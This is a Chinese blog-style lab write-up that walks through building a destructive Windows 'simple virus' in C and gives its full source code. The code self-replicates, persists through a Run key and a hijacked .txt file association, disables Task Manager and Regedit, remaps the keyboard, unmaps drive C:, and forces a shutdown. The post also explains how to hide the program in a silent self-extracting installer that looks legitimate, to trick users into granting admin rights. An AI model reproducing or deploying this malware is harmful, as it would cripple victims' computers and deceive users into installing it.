最近在做一个制作简易病毒的实验,查到了一篇大佬的文章,写的很详细,受益良多,这里先把大佬的文章附上:
https://blog.csdn.net/hbhgyu/article/details/77775926(C语言编写简易病毒)
实现原理是通过c语言修改注册表导致人工无法正常操作,下面参考上面那位大佬的实验流程复现一下:
病毒特征
- 繁殖性
- 破坏性
- 传染性
- 潜伏性
- 隐蔽性
- 可触发性
实验环境
- windows 7 x64虚拟机(务必在虚拟机环境进行实验,拍摄快照以便还原,如果有密码设置密码为纯数字否则破坏键盘之后无法输入正确密码登录)
- vc++6.0(不同的编译环境可能需要修改部分代码)
执行流程
- 病毒第一次执行,即检测到注册表的任务管理器没有被禁用,则病毒一次执行以下功能:
1)创建开机启动项,在系统目录路径下面复制文件,将其作为自启动路径;
2)禁用任务管理器;
3)禁用注册表编辑器;
4)联网获取图片并修改桌面北京(重启生效);
5)修改注册表将用户输入的所有字母改为1(重启生效);
6)删除驱动器盘符,使桌面以及开始菜单的所有文件失效;
7)电脑强制关机; - 计算机重启之后由于任务管理已被禁用,执行之后的语句,在桌面恶意增殖,同时桌面背景更换且键盘输入失效,再次删除驱动器盘符。(之后的每次重启都一样)
复现流程
1)增殖模块,使用windows系统自带的API函数SHGetSpecialFolderPath,获取当前用户的桌面路径;使用GetModuleFileName函数,获取当前执行程序的路径,最后通过Copyfile函数,完成自我增值。
- SHGetSpecialFolderPath函数,该API用来获取指定系统路径,函数原型如下:
BOOL SHGetSpecialFolderPath(
HWND hwndOwner, // 如果显示对话框或消息框,窗口的句柄,可用GetDesktopWindow API取一个窗口句柄或直接传NULL。
LPTSTR lpszPath, // 存放路径信息的缓冲区。这个缓冲区的大小必须至少为MAX_PATH字符。
int nFolder, // 标识要查询的文件夹的CSIDL
BOOL fCreate // true: 如果文件夹不存在则创建,false: 不创建
);
- GetModuleFileName函数,获取exe可执行文件的绝对路径,该模块必须有当前进程加载,若函数调用成功,返回值为复制到缓冲区的字符串的字符长度;否则,返回值为零,函数原型如下:
DWORD GetModuleFileName(
HMODULE hModule, // 指向模块的句柄,NULL则指向当前进程程序
LPTSTR lpFilename, // 存放地址的指针
DWORD nsize // 装载到缓冲区的最大值
);
- Copyfile函数,复制文件,函数非零表示成功,零表示失败,函数原型如下:
BOOL CopyFile(
LPCTSTR lpExistingFileName, // 源文件名
LPCTSTR lpNewFileName, // 目标文件名
BOOL bFailIfExists // true: 目标存在则改写,false: 目标存在则调用失败
);
- 增值模块代码:
2)注册表修改模块,修改注册表相关键值,实现让病毒程序开机自启动、禁用任务管理器、禁用注册表编辑器、修改桌面背景图片以及屏蔽用户键盘输入为数字1的功能,主要使用到的API函数为:RegCreateKey、RegSetValueEx、RegCloseKey。
- RegCreateKey函数,创建或打开注册表项,默认为创建,当注册表中有此项时为打开,函数原型如下:
LONG WINAPI RegCreateKey(
_In_ HKEY hKey, // 要打开项的句柄,或者一个标准项名
_In_opt_ LPCTSTR lpSubKey, // 欲创建的新子项
_Out_ PHKEY phkResult // 指定一个变量,用于装载新子项的句柄
);
- RegSetValueEx函数,在注册表项下设置指定值的数据和类型,函数原型如下:
LONG RegSetValueEx(
HKEY hKey, // 一个已打开项的句柄,或指定一个标准项名
LPCTSTR lpValueName, // 指向一个字符串指针,包含了欲设置值的名称
DWORD Reserved, // 保留值,必须强制为0
DWORD dwType, // 指定被存储的数据类型
CONST BYTE *lpData, // 指向一个缓冲区,包含了欲为指定值名称存储的数据
DWORD cbData // 指向由IpData参数所指向的数据的大小
);
- RegCloseKey函数,用于释放指定注册键的句柄,函数原型如下:
LONG RegCloseKey(
HKEY hKey // 释放键的句柄
);
- 修改注册表实现开机自启代码,使用GetModuleFileName函数获取当前可执行程序的绝对路径,调用API函数GetSystemDirectory获取系统目录路径,使用文件操作函数CopyFile实现可执行程序的拷贝,避免被感染者直接删除,将系统目录路径下的可执行程序设置为开机自启,同时修改注册表创建文件关联,只要用户打开了txt文档文件就默认打开系统目录路径下的病毒程序。
- 修改注册表实现禁用任务管理器及注册表编辑器,将指定目录下新增键值为1的项即可:
- 修改桌面背景图片,从指定的网址上下载图片并且将其设置为重新启动计算机之后的桌面背景,并且默认无法更改(重启后生效),实际操作只需要在指定目录下新增名称为Wallpaper、数据类型为REG_SZ,内容为下载图片完成路径的项:
- 修改注册表屏蔽用户键盘输入,此操作在用户重启计算机后生效。
这里只是屏蔽了所有字母,也可以屏蔽全键盘,参考这篇文章:https://blog.csdn.net/bruce135lee/article/details/77969248
3)前台窗口隐藏模块,隐藏前台窗口,使用户无法正常操作,避免用户直接叉掉控制台程序导致病毒程序无法继续执行。使用GetForegroundWindow()函数获取前台窗口的句柄,使用ShowWindow函数,隐藏当前句柄指示的窗口。
4)注册表检测模块,第一次运行病毒程序注册表并没有被修改,此时运行病毒程序执行注册表修改模块,但是当计算机重新启动之后,注册表已经被修改了,那么就没有必要重新运行一遍注册表修改操作(也没有相应的管理员权限),所以加上一个检测任务管理器是否被禁用的模块。
5)破坏感染计算机的盘符模块,使桌面快捷方式以及菜单栏的图标都指向无效的连接,只用重启之后才能恢复(所以我在开机自启动之后再执行一次)。
- DefineDosDevice函数控制虚拟驱动器,函数原型如下:
BOOL WINAPI DefineDosDevice(
__in DWORD dwFlags,
__in LPCTSTR lpDeviceName, // 设备名称字符串
__in LPCTSTR lpTargetPath // 指向路径字符串
// DWORD dwFlags,该函数的控制标志,可取下列值:
// DDD_EXACT_MATCH_ON_REMOVE ,确保不会删除未声明的对象
// DDD_NO_BROADCAST_SYSTEM, 设置 WM_SETTINGCHANGE消息的状态为不发送。(默认情况下,该消息状态为发送)
// DDD_RAW_TARGET_PATH, 使用lpTargetPath参数
// DDD_REMOVE_DEFINITION, 删除指定设备声明;
);
- 该函数调用了函数DefineDosDevice,但是由于该API函数需要管理员权限,所以只能在第一次执行的时候运行(但是当我直接使用Administrator账户运行重启之后也可以再次删除盘符);
6)重启之后在桌面产生垃圾文件:
7)恶意代码隐藏和管理员权限获取:
- 由于修改注册表需要取得管理员权限,而用户不会将管理员权限给予一个不明的程序,于是采用自解压的方式,将恶意代码和某些正常程序的安装包捆绑,进行恶意代码的隐藏,并骗取管理员权限。
- 使用压缩软件,将恶意代码执行程序和其它用于隐藏的正常安装包,一同进行自解压压缩。在高级选项中,选取解压后自动运行的程序,并选用静默安装模式,且使用指定的ico文件指定图标,使自解压之后的文件和原正常安装包在使用时,没有明显区别。但是运行过后,正常程序将被安装,恶意代码也被执行。通过这种方式,完成了恶意代码的隐藏,并提高了恶意代码的传染性。部分设置如下:
实验结果展示:
-
先生成好自解压文件:
-
执行伪装好的自解压文件,程序正常安装:
-
此时任务管理器和注册表已经被禁用,使用户无法轻易通过任务管理器结束进程,也不能还原注册表:
-
弹窗以显示键盘和盘符已被破坏(重启后生效),使桌面和开始菜单上中全部变为无效的快捷方式,刷新后自动删除桌面文件,点击计算机窗口没反应:
-
强制关机(但是我病毒成功执行只能拔电源关机):
-
重启之后桌面背景被更改,且无法更换:
-
键盘被屏蔽,输入任何字母都被替代为1:
-
在桌面产生垃圾文件,当达到指定拷贝次数后结束运行,但是当用户打开txt文件,由于实现了注册表关联,会导致病毒程序再次运行:
-
正常情况重启之后是没有管理员权限的,所以无法再次破坏系统盘符,但是我在虚拟机上使用管理员账户进行实验,重启后自启动自带管理员权限,就可以再次破坏系统盘符了(不过感觉无伤大雅,毕竟想要通过修改注册表恢复也需要通过键盘修改,但是键盘也被屏蔽了):
至此,一个简易的病毒的预先功能已基本实现。
实验心得
通过本次实验编写一个简易病毒,学会了如何通过c使用文件操作API、注册表修改API、磁盘盘符修改API等windowsAPI函数来修改注册表以及将自己拷贝到系统目录路径。同时学会了能够通过自解压的方式来将可执行程序与正常安装程序捆绑,进行恶意代码的隐藏并骗取管理员权限。普通用户重启之后的自启动无法获得管理员权限,但是管理员用户重启之后可以。此外,该病毒无法绕过杀软的检测以及清除(包括win10自带防火墙),通过二次编译的方式或许可以绕过个别杀软。本次实验编译环境是vc++6.0,编译环境的不同可能需要修改部分代码。
源代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>
#include <time.h>
#include <tchar.h>
#include <shlobj.h> //SHGetSpecialFolderPath()所属头文件
#include <iostream>
#include <urlmon.h>
#pragma comment(lib,"urlmon.lib")
//病毒的增殖模块,产生垃圾文件,要实现无限增殖只需要在主函数加一个循环
void Reproduce()
{
char name_str[100] = {0};
int name;
srand((unsigned)time(NULL)); //随机数种子
name = rand() % 1024;
itoa(name, name_str, 16); //将随机数转化成字符串
TCHAR szpath[MAX_PATH];
GetModuleFileName(NULL, szpath, MAX_PATH); //获取当前执行程序的路径
char target[100] = {0};
TCHAR Destop[MAX_PATH];
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); //获取桌面绝对路径
strcat(target, Destop);
strcat(target, "\\");
strcat(target, name_str);
strcat(target, ".exe");
CopyFile(szpath, target, FALSE);
//为增殖产生的文件创建进程
//STARTUPINFO si = { 0 };
//si.cb = sizeof(si);
//PROCESS_INFORMATION pi;
//CreateProcess(target, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
}
//注册表修改实现开机自启动,同时在系统文件目录下创建拷贝文件
void RegKeyStart()
{
char str[MAX_PATH];
GetModuleFileName(NULL, str, MAX_PATH);
char SystemPath[512];
GetSystemDirectory(SystemPath, sizeof(SystemPath)); //获取系统目录路径
strcat(SystemPath, "\\explore.exe");
CopyFile(str, SystemPath, false);
DWORD len;
HKEY hkey;
len = strlen(SystemPath);
RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);
RegSetValueEx(hkey, SystemPath, 0, REG_SZ, (unsigned char *)SystemPath, len);
RegCloseKey(hkey);
/*创建代码实现文件关联,也就是只要打开txt文件就执行当前用户程序,使用txt方式触发
*/
LPCTSTR data_set = "txtfile\\shell\\open\\command";
RegOpenKeyEx(HKEY_CLASSES_ROOT, data_set, 0, KEY_WRITE, &hkey);
RegSetValueEx(hkey, NULL, 0, REG_EXPAND_SZ, (unsigned char *)SystemPath, len);
RegCloseKey(hkey);
}
//注册表修改实现禁用管理器
void RegTaskmanagerForbidden()
{
HKEY hkey;
DWORD v = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", 0, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegCloseKey(hkey);
}
//注册表修改实现禁用注册表编辑器
void RegEditForbidden()
{
HKEY hkey;
DWORD v = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", 0, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegCloseKey(hkey);
}
//注册表修改实现更换桌面背景
void RegModifyBackroud()
{
DWORD v = 1;
char str[MAX_PATH];
GetModuleFileName(NULL, str, MAX_PATH);
strcat(str, "hacked.jpg");
URLDownloadToFile(NULL, "https://images.alphacoders.com/509/thumb-1920-509367.jpg", str, 0, 0);
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", 0, REG_SZ, (unsigned char *)str, sizeof(str));
RegSetValueEx(hkey, "WallpaperStyle", 0, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
}
//注册表修改屏蔽用户键盘输入
void RegKeyBoardForbidden()
{
HKEY hkey;
char scancodemap[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00"
"\x02\x00\x10\x00"
"\x02\x00\x11\x00"
"\x02\x00\x12\x00"
"\x02\x00\x13\x00"
"\x02\x00\x14\x00"
"\x02\x00\x15\x00"
"\x02\x00\x16\x00"
"\x02\x00\x17\x00"
"\x02\x00\x18\x00"
"\x02\x00\x19\x00"
"\x02\x00\x1E\x00"
"\x02\x00\x1F\x00"
"\x02\x00\x20\x00"
"\x02\x00\x21\x00"
"\x02\x00\x22\x00"
"\x02\x00\x23\x00"
"\x02\x00\x24\x00"
"\x02\x00\x25\x00"
"\x02\x00\x26\x00"
"\x02\x00\x2C\x00"
"\x02\x00\x2D\x00"
"\x02\x00\x2E\x00"
"\x02\x00\x2F\x00"
"\x02\x00\x30\x00"
"\x02\x00\x31\x00"
"\x02\x00\x32\x00"
"\x00\x00\x00\x00";
RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Keyboard Layout", &hkey);
RegSetValueEx(hkey, "Scancode Map", 0, REG_BINARY, (LPBYTE)scancodemap, 120);//scancodemap数组长度为120字节
RegCloseKey(hkey);
MessageBox(NULL, "破坏键盘成功!", "Error", MB_OK);
}
BOOL DeleteDrive(const TCHAR *SThide)
{
if (!DefineDosDevice(DDD_RAW_TARGET_PATH, SThide, ""))
return false;
else
return true;
}
int main(int argc, char** argv)
{
//FreeConsole();
HWND hwndDOS = GetForegroundWindow(); //得到前台窗口的句柄
ShowWindow(hwndDOS, SW_HIDE); //隐藏窗口
//以下代码用于检测任务管理器是否被禁用
BOOL Revised=0;
HKEY hkey;
long ret0, ret1;
LPCTSTR data_set = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
LPCTSTR psName = "DisableTaskMgr";
TCHAR ValueInfo[100];
DWORD cType;
DWORD ValueSize = sizeof(ValueInfo);
ret0 = RegOpenKeyEx(HKEY_CURRENT_USER, data_set, 0, KEY_READ, &hkey);
ret1 = RegQueryValueEx(hkey, psName, NULL, &cType, (LPBYTE)ValueInfo, &ValueSize);
if (ret0!=ERROR_SUCCESS||ret1 != ERROR_SUCCESS)
{
printf("not Revised!\n");
Revised = 0;
}
else if (!strcmp(ValueInfo, "\x01\x00\x00\x00")) {
Revised = 1;
}
else {
Revised = 0;
}
RegCloseKey(hkey);
int i;
if (!Revised) //如果任务管理器没有被禁用执行如下操作
{
RegKeyStart();
RegTaskmanagerForbidden();
RegEditForbidden();
RegModifyBackroud(); //修改桌面背景
RegKeyBoardForbidden(); //修改注册表屏蔽用户键盘输入
Sleep(5000);
if (DeleteDrive("C:"))
MessageBox(NULL, "破坏盘符成功!", "Error", MB_OK);
DefineDosDevice(DDD_RAW_TARGET_PATH, "F:", "\\??\\C:\\winnt");
system("title 警告");
MessageBox(NULL, "计算机将于60秒内强制关机!", "Error", MB_OK);
system("shutdown -f -s -t 10 -c ""计算机将于60秒内强制关机!""");
}
else {
MessageBox(NULL, "task manager has been forbidden!", "Error", MB_OK);
for (i = 0; i < 30; i++) {
Reproduce(); //产生垃圾文件,恶意增殖
Sleep(1000);
}
if (DeleteDrive("C:"))
MessageBox(NULL, "破坏盘符成功!", "Error", MB_OK);
DefineDosDevice(DDD_RAW_TARGET_PATH, "F:", "\\??\\C:\\winnt");
}
return 0;
}
参考链接:
https://blog.csdn.net/hbhgyu/article/details/77775926(C语言编写简易病毒)
https://blog.csdn.net/u013815546/article/details/42214209(C语言修改注册表)
https://blog.csdn.net/weixin_30338481/article/details/95482413(Windows平台使用C语言在用户模式下注册表的增删改查)